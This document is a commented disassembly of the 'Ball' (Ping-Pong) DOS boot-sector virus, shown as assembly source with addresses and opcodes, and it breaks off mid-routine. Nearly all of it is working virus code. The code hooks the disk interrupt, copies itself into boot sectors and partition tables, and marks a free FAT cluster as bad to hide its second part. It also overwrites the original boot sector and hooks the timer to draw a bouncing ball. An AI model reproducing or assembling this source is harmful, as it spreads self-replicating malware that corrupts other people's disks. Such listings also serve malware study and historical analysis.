TITLE *** ASMGEN - Version 2.51 ***
SUBTTL BALL.VIR 3-15-89 [3-22-89]
RET_NEAR MACRO
DB 0C3H
ENDM
;
.RADIX 16
;
;INITIAL VALUES : CS:IP 0000:0100
; SS:SP 0000:FFFF
;L0000S L7C00 DI L7C1C CI L7C93 CJ L7D31 DB L7D76 DB L7DF7 CB L7DF8 CB
; L7DFB CB L7E86 DI L7EA9 DI L7EB2 CB L7EBF DI L7F4E DB L7F62 DB
; L7FCB CI L7FCD CI L7FD3 CB
S0000 SEGMENT
ASSUME DS:S0000,SS:S0000,CS:S0000,ES:S0000
ORG $+7C00H
L0000 EQU $-7C00
;L0001 L7C0E CI L7CDA DB L7D12 DB L7D33 DI L7D46 DB L7DE0 DI L7DF3 CI
; L7E3A DI L7E60 DI L7EFC DB L7F37 DB L7F43 DI L7FAD DB L7FB6 DI
L0001 EQU $-7BFF
;L0002 L7C0D CB L7C10 CB L7C16 CI L7C1A CI L7C2A DI L7CE1 DB L7D5A DB
; L7D93 DB L7E08 DB L7E75 DI L7EB3 DB L7EBA DB L7F2C DB L7FA0 DB
; L7FBF DB
L0002 EQU $-7BFE
;L0003 L7E12 DI L7F1C DB L7F27 DB L7F82 DB
L0003 EQU $-7BFDh
;L0004 L7D43 DI L7D46 DB L7D4C DB L7D4C DB L7DDB DB L7E15 DB L7E31 DB
; L7E38 DB L7E54 DB L7E5E DB L7F05 DB
L0004 EQU $-7BFC
;L0005 L7F8B DB
L0005 EQU $-7BFBh
;L0006 L7C30 DB L7CB5 DB
L0006 EQU $-7BFA
;L0007 L7EFE DB L7F80 DB
L0007 EQU $-7BF9
;L0008 L7FA4 DB
L0008 EQU $-7BF8
;L0009 L7C18 CI L7F46 DB
L0009 EQU $-7BF7
;L000F L7E42 DB L7E5B DB L7EE6 DB
L000F EQU $-7BF1
;L0010 L7D52 DI
L0010 EQU $-7BF0
;L0013 L7DFB CB
L0013 EQU $-7BEDh
;L0018 L7F58 DB
L0018 EQU $-7BE8
;L001C L7D69 DI
L001C EQU $-7BE4
;L0020 L7C59 DI L7DA8 DI L7E9A DI L7EC4 DR L7ECB DW L7FC9 CI
L0020 EQU $-7BE0
;L0022 L7EC7 DR L7ED1 DW
L0022 EQU $-7BDE
;L0024 L7D0D DI
L0024 EQU $-7BDC
;L0040 L7EA4 DI
L0040 EQU $-7BC0
;L004C L7C75 DR L7C7C DW
L004C EQU $-7BB4
;L004E L7C78 DR L7C82 DW
L004E EQU $-7BB2
;L0050 L7FD6 CB
L0050 EQU $-7BB0
;L0055 L7DFE CB
L0055 EQU $-7BABh
;L0057 L7DFB CB
L0057 EQU $-7BA9
;L0070 L7C11 CI
L0070 EQU $-7B90
;L0073 L7DF5 CI
L0073 EQU $-7B8Dh
;L007F L7CF4 DB
L007F EQU $-7B81
;L0080 L7C4E DB L7D39 DB
L0080 EQU $-7B80
;L0083 L7FB4 DB
L0083 EQU $-7B7Dh
;L00AA L7DFE CB
L00AA EQU $-7B56
;L00D3 L7DF9 CI
L00D3 EQU $-7B2Dh
;L00EA L7D29 DB L7FC8 DB
L00EA EQU $-7B16
;L00F0 L7CF9 DB
L00F0 EQU $-7B10
;L00FB L7DD1 DB
L00FB EQU $-7B05
;L00FD L7C15 CB
L00FD EQU $-7B03
;L00FE L7D1E DB L7DEC DB
L00FE EQU $-7B02
;L00FF L7F53 DB L7F5D DB L7F67 DB L7F72 DB L7F86 DB L7F8F DB
L00FF EQU $-7B01
;L0100 L7C3E DI
L0100 EQU $-7B00
;L0101 L7F10 DI L7F16 DI L7FCD CI
L0101 EQU $-7AFF
;L01FF L7DAF DI L7E27 DI
L01FF EQU $-7A01
;L0200 L7C0B CI L7D8B DI L7DB2 DI
L0200 EQU $-7A00
;L0201 L7C9D DI L7D2E DI L7D5D DI
L0201 EQU $-79FF
;L02D0 L7C13 CI
L02D0 EQU $-7930
;L0301 L7C98 DI
L0301 EQU $-78FF
;L0413 L7C27 DR L7C2D DW
L0413 EQU $-77EDh
;L07C0 L7C34 DI
L07C0 EQU $-7440
;L0907 L7FB9 DI
L0907 EQU $-72F9
;L0FF0 L7DD6 DI
L0FF0 EQU $-6C10
;L1357 L7D6E DI
L1357 EQU $-68A9
;L49E8 L7EB0 CI
L49E8 EQU $-3218
;L77C0 L7D2C CI
L77C0 EQU $-440
;L7C00 L7C22 DI L7C39 DI L7C93 CJ
; Boot entry of Virus
BOOT: JMP SHORT INIT ;Init virus ;7C00 EB 1C
;L7C02 L7D66 DI
L7C02: NOP ;7C02 90
; OEM
DB 'DOS 3.1' ;7C03 44 4F 53 20 20 33 2E 31
; Size of Disk sector in bytes
SEC_SIZE EQU $
DW L0200 ;7C0B 00 02
;L7C0D L7DC4 DR L7E78 DR
; Size of Cluster in sectors
CLSTSIZE EQU $
DB 2 ;7C0D 02
;L7C0E L7DE3 DR
RES_SECT EQU $
DW L0001 ;7C0E 01 00
FAT_NUMBER EQU $
DB 2 ;7C10 02
; Size of root directory in Dir entryes
ROOT_SIZE EQU $
DW L0070 ;7C11 70 00
;L7C13 L7DBD DR
TOTAL_SECTORS EQU $
DW L02D0 ;7C13 D0 02
MEDIA_TYPE EQU $
DB 0FDh ;7C15 FD
; Size of FAT in sectors
FAT_SIZE EQU $
DW L0002 ;7C16 02 00
;L7C18 L7CA7 DR
SEC_TRACK EQU $
DW L0009 ;7C18 09 00
;L7C1A L7CB1 DR
HEADS DW L0002 ;7C1A 02 00
;L7C1C L7CA1 DR
HIDDEN_SCS EQU $
DW L0000 ;7C1C 00 00
;L7C1E L7C00 CJ
; Init virus
INIT: XOR AX,AX ;7C1E 33 C0
MOV SS,AX ;7C20 8E D0
MOV SP,OFFSET BOOT ;Boot entry of Virus ;7C22 BC 00 7C
MOV DS,AX ;7C25 8E D8
MOV AX,DS:MEM_SIZE ;Memory size in kilobytes
;7C27 A1 13 04
SUB AX,2 ;7C2A 2D 02 00
MOV DS:MEM_SIZE,AX ;Memory size in kilobytes
;7C2D A3 13 04
MOV CL,6 ;7C30 B1 06
SHL AX,CL ;7C32 D3 E0
SUB AX,7C0 ;7C34 2D C0 07
MOV ES,AX ;7C37 8E C0
MOV SI,OFFSET BOOT ;Boot entry of Virus ;7C39 BE 00 7C
MOV DI,SI ;7C3C 8B FE
MOV CX,100 ;7C3E B9 00 01
; Moving virus to end of memory
REPZ MOVSW ;7C41 F3 A5
; And Jump There
MOV CS,AX ;7C43 8E C8
; CS and DS to new virus location
PUSH CS ;7C45 0E
POP DS ;7C46 1F
CALL SELF ;Push ip in stack ;7C47 E8 00 00
;L7C4A L7C47 CC
; Push ip in stack
SELF: XOR AH,AH ;7C4A 32 E4
INT 13 ;7C4C CD 13
AND BYTE PTR CUR_DRIVE,80 ;Last Drive Accessed ;7C4E 80 26 F8 7D 80
MOV BX,VIRUSLSN ;LSN of Virus extention ;7C53 8B 1E F9 7D
PUSH CS ;7C57 0E
POP AX ;7C58 58
SUB AX,20 ;' ' ;7C59 2D 20 00
; Reading second part of virus
MOV ES,AX ;7C5C 8E C0
CALL READ_SC ;Reads sector BX = LSN ;7C5E E8 3C 00
MOV BX,VIRUSLSN ;LSN of Virus extention ;7C61 8B 1E F9 7D
INC BX ;7C65 43
MOV AX,OFFSET LFFC0 ;7C66 B8 C0 FF
; Readind original boot sector
MOV ES,AX ;7C69 8E C0
CALL READ_SC ;Reads sector BX = LSN ;7C6B E8 2F 00
XOR AX,AX ;7C6E 33 C0
MOV FLAGS,AL ;Sum semapfor type flags
;7C70 A2 F7 7D
MOV DS,AX ;7C73 8E D8
MOV AX,DS:INT13_OFF ;7C75 A1 4C 00
MOV BX,DS:INT13_SEG ;7C78 8B 1E 4E 00
MOV WORD PTR DS:INT13_OFF,OFFSET NEW_INT13
;7C7C C7 06 4C 00 D0 7C
MOV DS:INT13_SEG,CS ;7C82 8C 0E 4E 00
PUSH CS ;7C86 0E
POP DS ;7C87 1F
MOV OLD_INT13_OFF,AX ;7C88 A3 2A 7D
MOV OLD_INT13_SEG,BX ;7C8B 89 1E 2C 7D
MOV DL,CUR_DRIVE ;Last Drive Accessed ;7C8F 8A 16 F8 7D
JMP FAR PTR BOOTDS: ;Boot entry of Virus ;7C93 EA 00 7C 00 00
;L7C98 L7E70 CC L7E8F CC L7E9F CC L7EAC CC
; Writes sector BX = LSN
WRITESC:
MOV AX,301 ;7C98 B8 01 03
JMP SHORT OPERATE ;7C9B EB 03
;L7C9D L7C5E CC L7C6B CC L7E0D CC L7E89 CC
; Reads sector BX = LSN
READ_SC:
MOV AX,201 ;7C9D B8 01 02
;L7CA0 L7C9B CJ
OPERATE:
XCHG BX,AX ;7CA0 93
ADD AX,HIDDEN_SCS ;7CA1 03 06 1C 7C
XOR DX,DX ;7CA5 33 D2
DIV WORD PTR SEC_TRACK ;7CA7 F7 36 18 7C
INC DL ;7CAB FE C2
MOV CH,DL ;7CAD 8A EA
XOR DX,DX ;7CAF 33 D2
DIV WORD PTR HEADS ;7CB1 F7 36 1A 7C
MOV CL,6 ;7CB5 B1 06
SHL AH,CL ;7CB7 D2 E4
OR AH,CH ;7CB9 0A E5
MOV CX,AX ;7CBB 8B C8
XCHG CH,CL ;7CBD 86 E9
MOV DH,DL ;7CBF 8A F2
MOV AX,BX ;7CC1 8B C3
;L7CC3 L7D36 CC L7D60 CC
; Access disk service and returns one level more if Error
DISK_CALL:
MOV DL,CUR_DRIVE ;Last Drive Accessed ;7CC3 8A 16 F8 7D
MOV BX,OFFSET R_W_BUFF ;Buffer for read/write sector
;7CC7 BB 00 80
INT 13 ;7CCA CD 13
JNB EXIT_D_CALL ;7CCC 73 01
POP AX ;7CCE 58
;L7CCF L7CCC CJ
EXIT_D_CALL:
RET_NEAR ;7CCF C3
;L7CD0 L7C7C DI L7D2A CI
NEW_INT13:
PUSH DS ;7CD0 1E
PUSH ES ;7CD1 06
PUSH AX ;7CD2 50
PUSH BX ;7CD3 53
PUSH CX ;7CD4 51
PUSH DX ;7CD5 52
PUSH CS ;7CD6 0E
POP DS ;7CD7 1F
PUSH CS ;7CD8 0E
POP ES ;7CD9 07
TEST BYTE PTR FLAGS,1 ;Sum semapfor type flags
;7CDA F6 06 F7 7D 01
JNZ EXIT_INT13 ;7CDF 75 42
CMP AH,2 ;7CE1 80 FC 02
JNZ EXIT_INT13 ;7CE4 75 3D
CMP CUR_DRIVE,DL ;Last Drive Accessed ;7CE6 38 16 F8 7D
MOV CUR_DRIVE,DL ;Last Drive Accessed ;7CEA 88 16 F8 7D
JNZ L7D12 ;Don't Run if less then 24 Ticks
;7CEE 75 22
XOR AH,AH ;7CF0 32 E4
INT 1A ;7CF2 CD 1A
; CX:DX <- BIOS Time
TEST DH,7F ;7CF4 F6 C6 7F
JNZ DONTBALL ;Do not display ball ;7CF7 75 0A
TEST DL,0F0 ;7CF9 F6 C2 F0
JNZ DONTBALL ;Do not display ball ;7CFC 75 05
PUSH DX ;7CFE 52
CALL BALL_ACT ;Activate Ball on Screen
;7CFF E8 B1 01
POP DX ;7D02 5A
;L7D03 L7CF7 CJ L7CFC CJ
; Do not display ball
DONTBALL:
MOV CX,DX ;7D03 8B CA
SUB DX,TIME ;Last time drive is accessed
;7D05 2B 16 B0 7E
MOV TIME,CX ;Last time drive is accessed
;7D09 89 0E B0 7E
SUB DX,24 ;'$' ;7D0D 83 EA 24
JB EXIT_INT13 ;7D10 72 11
;L7D12 L7CEE CJ
; Don't Run if less then 24 Ticks
L7D12: OR BYTE PTR FLAGS,1 ;Sum semapfor type flags
;7D12 80 0E F7 7D 01
PUSH SI ;7D17 56
PUSH DI ;7D18 57
CALL ATTACH ;Attachs Last accessed device
;7D19 E8 12 00
POP DI ;7D1C 5F
POP SI ;7D1D 5E
AND BYTE PTR FLAGS,0FE ;Sum semapfor type flags
;7D1E 80 26 F7 7D FE
;L7D23 L7CDF CJ L7CE4 CJ L7D10 CJ
EXIT_INT13:
POP DX ;7D23 5A
POP CX ;7D24 59
POP BX ;7D25 5B
POP AX ;7D26 58
POP ES ;7D27 07
POP DS ;7D28 1F
; Opcode of far jmp
DB 0EA ;7D29 EA
;L7D2A L7C88 DW
OLD_INT13_OFF EQU $
DW NEW_INT13 ;7D2A D0 7C
;L7D2C L7C8B DW
OLD_INT13_SEG EQU $
DW L77C0 ;7D2C C0 77
;L7D2E L7D19 CC
; Attachs Last accessed device
ATTACH: MOV AX,201 ;7D2E B8 01 02
MOV DH,0 ;7D31 B6 00
MOV CX,1 ;7D33 B9 01 00
CALL DISK_CALL ;Access disk service and returns one level more if Error
;7D36 E8 8A FF
TEST BYTE PTR CUR_DRIVE,80 ;Last Drive Accessed ;7D39 F6 06 F8 7D 80
JZ BOOT_READ ;Boot sector now in memory
;7D3E 74 23
MOV SI,OFFSET PART_TABLE ;Partition Table ;7D40 BE BE 81
MOV CX,4 ;7D43 B9 04 00
;L7D46 L7D55 CJ
; Search in Partition table
PART_SEARCH:
CMP BYTE PTR [SI+4],1 ;7D46 80 7C 04 01
JZ FOUND_IN_PART ;Boot sector found in partition table
;7D4A 74 0C
CMP BYTE PTR [SI+4],4 ;7D4C 80 7C 04 04
JZ FOUND_IN_PART ;Boot sector found in partition table
;7D50 74 06
ADD SI,10 ;7D52 83 C6 10
LOOP PART_SEARCH ;Search in Partition table
;7D55 E2 EF
RET_NEAR ;7D57 C3
;L7D58 L7D4A CJ L7D50 CJ
; Boot sector found in partition table
FOUND_IN_PART:
MOV DX,[SI] ;7D58 8B 14
MOV CX,[SI+2] ;7D5A 8B 4C 02
MOV AX,201 ;7D5D B8 01 02
CALL DISK_CALL ;Access disk service and returns one level more if Error
;7D60 E8 60 FF
;L7D63 L7D3E CJ
; Boot sector now in memory
BOOT_READ:
MOV SI,OFFSET L8002 ;7D63 BE 02 80
MOV DI,OFFSET L7C02 ;7D66 BF 02 7C
MOV CX,1C ;7D69 B9 1C 00
REPZ MOVSB ;7D6C F3 A4
CMP WORD PTR L81FC,1357 ;'W' ;7D6E 81 3E FC 81 57 13
JNZ NOT_ATTCD ;Disk is not yet Attached
;7D74 75 15
CMP BYTE PTR L81FB,0 ;7D76 80 3E FB 81 00
JNB EXIT_RDY ;Exit allready attached ;7D7B 73 0D
MOV AX,D_LSN_D ;LSN of first data sector of disk
;7D7D A1 F5 81
MOV D_LSN,AX ;LSN of first data sector
;7D80 A3 F5 7D
MOV SI,LSN_DSK ;LSN of virus of Disk ;7D83 8B 36 F9 81
JMP WRITE_CODE ;Writes it self in two sectors of disk
;7D87 E9 08 01
;L7D8A L7D7B CJ L7D91 CJ L7D98 CJ
; Exit allready attached
EXIT_RDY:
RET_NEAR ;7D8A C3
;L7D8B L7D74 CJ
; Disk is not yet Attached
NOT_ATTCD:
CMP WORD PTR SEC_SIZE_D,200 ;Size of Disk sector in bytes of Disk
;7D8B 81 3E 0B 80 00 02
JNZ EXIT_RDY ;Exit allready attached ;7D91 75 F7
CMP BYTE PTR CLSTSIZE_D,2 ;Size of Cluster in sectors of Disk
;7D93 80 3E 0D 80 02
JB EXIT_RDY ;Exit allready attached ;7D98 72 F0
MOV CX,RES_SECT_D ;of Disk ;7D9A 8B 0E 0E 80
MOV AL,FAT_NUMBER_D ;of Disk ;7D9E A0 10 80
CBW ;7DA1 98
MUL WORD PTR FAT_SIZE_D ;Size of FAT in sectors of Disk
;7DA2 F7 26 16 80
ADD CX,AX ;7DA6 03 C8
MOV AX,20 ;' ' ;7DA8 B8 20 00
MUL WORD PTR ROOT_SIZE_D ;Size of root directory in Dir entryes of Disk
;7DAB F7 26 11 80
ADD AX,1FF ;7DAF 05 FF 01
MOV BX,200 ;7DB2 BB 00 02
DIV BX ;7DB5 F7 F3
ADD CX,AX ;7DB7 03 C8
MOV D_LSN,CX ;LSN of first data sector
;7DB9 89 0E F5 7D
MOV AX,TOTAL_SECTORS ;7DBD A1 13 7C
SUB AX,D_LSN ;LSN of first data sector
;7DC0 2B 06 F5 7D
MOV BL,CLSTSIZE ;Size of Cluster in sectors
;7DC4 8A 1E 0D 7C
XOR DX,DX ;7DC8 33 D2
XOR BH,BH ;7DCA 32 FF
DIV BX ;7DCC F7 F3
INC AX ;7DCE 40
MOV DI,AX ;7DCF 8B F8
AND BYTE PTR FLAGS,0FBh ;Sum semapfor type flags
;7DD1 80 26 F7 7D FB
CMP AX,0FF0 ;7DD6 3D F0 0F
JBE FAT_12_0 ;12 bit FAT ;7DD9 76 05
OR BYTE PTR FLAGS,4 ;Sum semapfor type flags
;7DDB 80 0E F7 7D 04
;L7DE0 L7DD9 CJ
; 12 bit FAT
FAT_12_0:
MOV SI,1 ;7DE0 BE 01 00
MOV BX,RES_SECT ;7DE3 8B 1E 0E 7C
DEC BX ;7DE7 4B
MOV LSN_TEMP,BX ;Sector to operate temp variable
;7DE8 89 1E F3 7D
MOV BYTE PTR FAT_ADJUST,0FE ;Adjust pointer in FAT ;7DEC C6 06 B2 7E FE
JMP SHORT NEXT_F_S ;Next Sector of FAT. It is in Second Virus Sector.
;7DF1 EB 0D
;L7DF3 L7DE8 DW L7E00 DM L7E04 DR L7E6C DR
; Sector to operate temp variable
LSN_TEMP EQU $
DW L0001 ;7DF3 01 00
;L7DF5 L7D80 DW L7DB9 DW L7DC0 DR L7E80 DR
; LSN of first data sector
D_LSN DW L0073 ;7DF5 73 00
;L7DF7 L7C70 DW L7CDA DT L7D12 DM L7D1E DM L7DD1 DM L7DDB DM L7E15 DT
; L7E31 DT L7E54 DT L7EB3 DT L7EBA DM
; Sum semapfor type flags
FLAGS DB 0 ;7DF7 00
;L7DF8 L7C4E DM L7C8F DR L7CC3 DR L7CE6 DT L7CEA DW L7D39 DT
; Last Drive Accessed
CUR_DRIVE EQU $
DB 0 ;7DF8 00
;L7DF9 L7C53 DR L7C61 DR L7E94 DW
; LSN of Virus extention
VIRUSLSN EQU $
DW L00D3 ;7DF9 D3 00
; Marker 'Disk Attached'
DB 0,57,13 ;7DFB 00 57 13
; Boot sector marker
DB 55,0AA ;7DFE 55 AA
;L7E00 L7DF1 CJ L7E2B CJ
; Next Sector of FAT. It is in Second Virus Sector.
NEXT_F_S:
INC WORD PTR LSN_TEMP ;Sector to operate temp variable
;7E00 FF 06 F3 7D
MOV BX,LSN_TEMP ;Sector to operate temp variable
;7E04 8B 1E F3 7D
ADD BYTE PTR FAT_ADJUST,2 ;Adjust pointer in FAT ;7E08 80 06 B2 7E 02
CALL READ_SC ;Reads sector BX = LSN ;7E0D E8 8D FE
JMP SHORT NEXT_ENTRY ;Next entry in FAT ;7E10 EB 39
;L7E12 L7E4E CJ
; Process single FAT entry
NEXT_ENTRY_LOOP:
MOV AX,3 ;7E12 B8 03 00
TEST BYTE PTR FLAGS,4 ;Sum semapfor type flags
;7E15 F6 06 F7 7D 04
JZ FAT_12_1 ;AX = Bytes per two clusters in FAT
;7E1A 74 01
INC AX ;7E1C 40
;L7E1D L7E1A CJ
; AX = Bytes per two clusters in FAT
FAT_12_1:
MUL SI ;7E1D F7 E6
SHR AX,1 ;7E1F D1 E8
SUB AH,FAT_ADJUST ;Adjust pointer in FAT ;7E21 2A 26 B2 7E
MOV BX,AX ;7E25 8B D8
CMP BX,1FF ;7E27 81 FB FF 01
JNB NEXT_F_S ;Next Sector of FAT. It is in Second Virus Sector.
;7E2B 73 D3
MOV DX,[BX+R_W_BUFF] ;Buffer for read/write sector
;7E2D 8B 97 00 80
TEST BYTE PTR FLAGS,4 ;Sum semapfor type flags
;7E31 F6 06 F7 7D 04
JNZ FAT_16_1 ;7E36 75 0D
MOV CL,4 ;7E38 B1 04
TEST SI,1 ;7E3A F7 C6 01 00
JZ RIGHT_ENTRY ;Dont move FAT entry ;7E3E 74 02
SHR DX,CL ;7E40 D3 EA
;L7E42 L7E3E CJ
; Dont move FAT entry
RIGHT_ENTRY:
AND DH,0F ;7E42 80 E6 0F
;L7E45 L7E36 CJ
FAT_16_1:
TEST DX,0FFFF ;7E45 F7 C2 FF FF
JZ FOUND_CL ;Free cluster found ;7E49 74 06
;L7E4B L7E10 CJ
; Next entry in FAT
NEXT_ENTRY:
INC SI ;7E4B 46
CMP SI,DI ;7E4C 3B F7
JBE NEXT_ENTRY_LOOP ;Process single FAT entry
;7E4E 76 C2
RET_NEAR ;7E50 C3
;L7E51 L7E49 CJ
; Free cluster found
FOUND_CL:
MOV DX,OFFSET LFFF7 ;7E51 BA F7 FF
TEST BYTE PTR FLAGS,4 ;Sum semapfor type flags
;7E54 F6 06 F7 7D 04
JNZ WRITE_BAD ;Write marker for bad sector
;7E59 75 0D
AND DH,0F ;7E5B 80 E6 0F
MOV CL,4 ;7E5E B1 04
TEST SI,1 ;7E60 F7 C6 01 00
JZ WRITE_BAD ;Write marker for bad sector
;7E64 74 02
SHL DX,CL ;7E66 D3 E2
;L7E68 L7E59 CJ L7E64 CJ
; Write marker for bad sector
WRITE_BAD:
OR [BX+R_W_BUFF],DX ;Buffer for read/write sector
;7E68 09 97 00 80
MOV BX,LSN_TEMP ;Sector to operate temp variable
;7E6C 8B 1E F3 7D
CALL WRITESC ;Writes sector BX = LSN ;7E70 E8 25 FE
MOV AX,SI ;7E73 8B C6
SUB AX,2 ;7E75 2D 02 00
MOV BL,CLSTSIZE ;Size of Cluster in sectors
;7E78 8A 1E 0D 7C
XOR BH,BH ;7E7C 32 FF
MUL BX ;7E7E F7 E3
ADD AX,D_LSN ;LSN of first data sector
;7E80 03 06 F5 7D
MOV SI,AX ;7E84 8B F0
MOV BX,0 ;7E86 BB 00 00
CALL READ_SC ;Reads sector BX = LSN ;7E89 E8 11 FE
MOV BX,SI ;7E8C 8B DE
INC BX ;7E8E 43
CALL WRITESC ;Writes sector BX = LSN ;7E8F E8 06 FE
;L7E92 L7D87 CJ
; Writes it self in two sectors of disk
WRITE_CODE:
MOV BX,SI ;7E92 8B DE
MOV VIRUSLSN,SI ;LSN of Virus extention ;7E94 89 36 F9 7D
PUSH CS ;7E98 0E
POP AX ;7E99 58
SUB AX,20 ;' ' ;7E9A 2D 20 00
MOV ES,AX ;7E9D 8E C0
CALL WRITESC ;Writes sector BX = LSN ;7E9F E8 F6 FD
; OverWrite Boot sector
PUSH CS ;7EA2 0E
POP AX ;7EA3 58
SUB AX,40 ;'@' ;7EA4 2D 40 00
MOV ES,AX ;7EA7 8E C0
MOV BX,0 ;7EA9 BB 00 00
CALL WRITESC ;Writes sector BX = LSN ;7EAC E8 E9 FD
RET_NEAR ;7EAF C3
;L7EB0 L7D05 DR L7D09 DW
; Last time drive is accessed
TIME DW L49E8 ;7EB0 E8 49
;L7EB2 L7DEC DW L7E08 DM L7E21 DR
; Adjust pointer in FAT
FAT_ADJUST EQU $
DB 0 ;7EB2 00
;L7EB3 L7CFF CC
; Activate Ball on Screen
BALL_ACT:
TEST BYTE PTR FLAGS,2 ;Sum semapfor type flags
;7EB3 F6 06 F7 7D 02
JNZ EXIT_BALL_ACT ;7EB8 75 24
OR BYTE PTR FLAGS,2 ;Sum semapfor type flags
;7EBA 80 0E F7 7D 02
MOV AX,0 ;7EBF B8 00 00
MOV DS,AX ;7EC2 8E D8
MOV AX,DS:TIMER_OFF ;7EC4 A1 20 00
MOV BX,DS:TIMER_SEG ;7EC7 8B 1E 22 00
MOV WORD PTR DS:TIMER_OFF,OFFSET TIMER ;Timer Interrupt Handler
;7ECB C7 06 20 00 DF 7E
MOV DS:TIMER_SEG,CS ;7ED1 8C 0E 22 00
PUSH CS ;7ED5 0E
POP DS ;7ED6 1F
MOV OLD_TIMER_OFF,AX ;7ED7 A3 C9 7F
MOV OLD_TIMER_SEG,BX ;7EDA 89 1E CB 7F
;L7EDE L7EB8 CJ
EXIT_BALL_ACT:
RET_NEAR ;7EDE C3
;L7EDF L7ECB DI
; Timer Interrupt Handler
TIMER: PUSH DS ;7EDF 1E
PUSH AX ;7EE0 50
PUSH BX ;7EE1 53
PUSH CX ;7EE2 51
PUSH DX ;7EE3 52
PUSH CS ;7EE4 0E
POP DS ;7EE5 1F
MOV AH,0F ;7EE6 B4 0F
INT 10 ;7EE8 CD 10
MOV BL,AL ;7EEA 8A D8
CMP BX,L7FD4 ;Sum vars ;7EEC 3B 1E D4 7F
JZ L7F27 ;7EF0 74 35
MOV L7FD4,BX ;Sum vars ;7EF2 89 1E D4 7F
DEC AH ;7EF6 FE CC
MOV L7FD6,AH ;Sum vars ;7EF8 88 26 D6 7F
MOV AH,1 ;7EFC B4 01
CMP BL,7 ;7EFE 80 FB 07
JNZ L7F05 ;7F01 75 02
DEC AH ;7F03 FE CC
;L7F05 L7F01 CJ
L7F05: CMP BL,4 ;7F05 80 FB 04
JNB L7F0C ;7F08 73 02
DEC AH ;7F0A FE CC
;L7F0C L7F08 CJ
L7F0C: MOV L7FD3,AH ;Sum vars ;7F0C 88 26 D3 7F
MOV WORD PTR L7FCF,101 ;7F10 C7 06 CF 7F 01 01
MOV WORD PTR L7FD1,101 ;7F16 C7 06 D1 7F 01 01
MOV AH,3 ;7F1C B4 03
INT 10 ;7F1E CD 10
PUSH DX ;7F20 52
MOV DX,L7FCF ;7F21 8B 16 CF 7F
JMP SHORT L7F4A ;7F25 EB 23
;L7F27 L7EF0 CJ
L7F27: MOV AH,3 ;7F27 B4 03
INT 10 ;7F29 CD 10
PUSH DX ;7F2B 52
MOV AH,2 ;7F2C B4 02
MOV DX,L7FCF ;7F2E 8B 16 CF 7F
INT 10 ;7F32 CD 10
MOV AX,L7FCD ;Sum vars ;7F34 A1 CD 7F
CMP BYTE PTR L7FD3,1 ;Sum vars ;7F37 80 3E D3 7F 01
JNZ L7F41 ;7F3C 75 03
MOV AX,OFFSET L8307 ;7F3E B8 07 83
;L7F41 L7F3C CJ
L7F41: MOV BL,AH ;7F41 8A DC
MOV CX,1 ;7F43 B9 01 00
MOV AH,9 ;7F46 B4 09
INT 10 ;7F48 CD 10
;L7F4A L7F25 CJ
L7F4A: MOV CX,L7FD1 ;7F4A 8B 0E D1 7F
CMP DH,0 ;7F4E 80 FE 00
JNZ L7F58 ;7F51 75 05
XOR CH,0FF ;7F53 80 F5 FF
INC CH ;7F56 FE C5
;L7F58 L7F51 CJ
L7F58: CMP DH,18 ;7F58 80 FE 18
JNZ L7F62 ;7F5B 75 05
XOR CH,0FF ;7F5D 80 F5 FF
INC CH ;7F60 FE C5
;L7F62 L7F5B CJ
L7F62: CMP DL,0 ;7F62 80 FA 00
JNZ L7F6C ;7F65 75 05
XOR CL,0FF ;7F67 80 F1 FF
INC CL ;7F6A FE C1
;L7F6C L7F65 CJ
L7F6C: CMP DL,L7FD6 ;Sum vars ;7F6C 3A 16 D6 7F
JNZ L7F77 ;7F70 75 05
XOR CL,0FF ;7F72 80 F1 FF
INC CL ;7F75 FE C1
;L7F77 L7F70 CJ
L7F77: CMP CX,L7FD1 ;7F77 3B 0E D1 7F
JNZ L7F94 ;7F7B 75 17
MOV AX,L7FCD ;Sum vars ;7F7D A1 CD 7F
AND AL,7 ;7F80 24 07
CMP AL,3 ;7F82 3C 03
JNZ L7F8B &n |
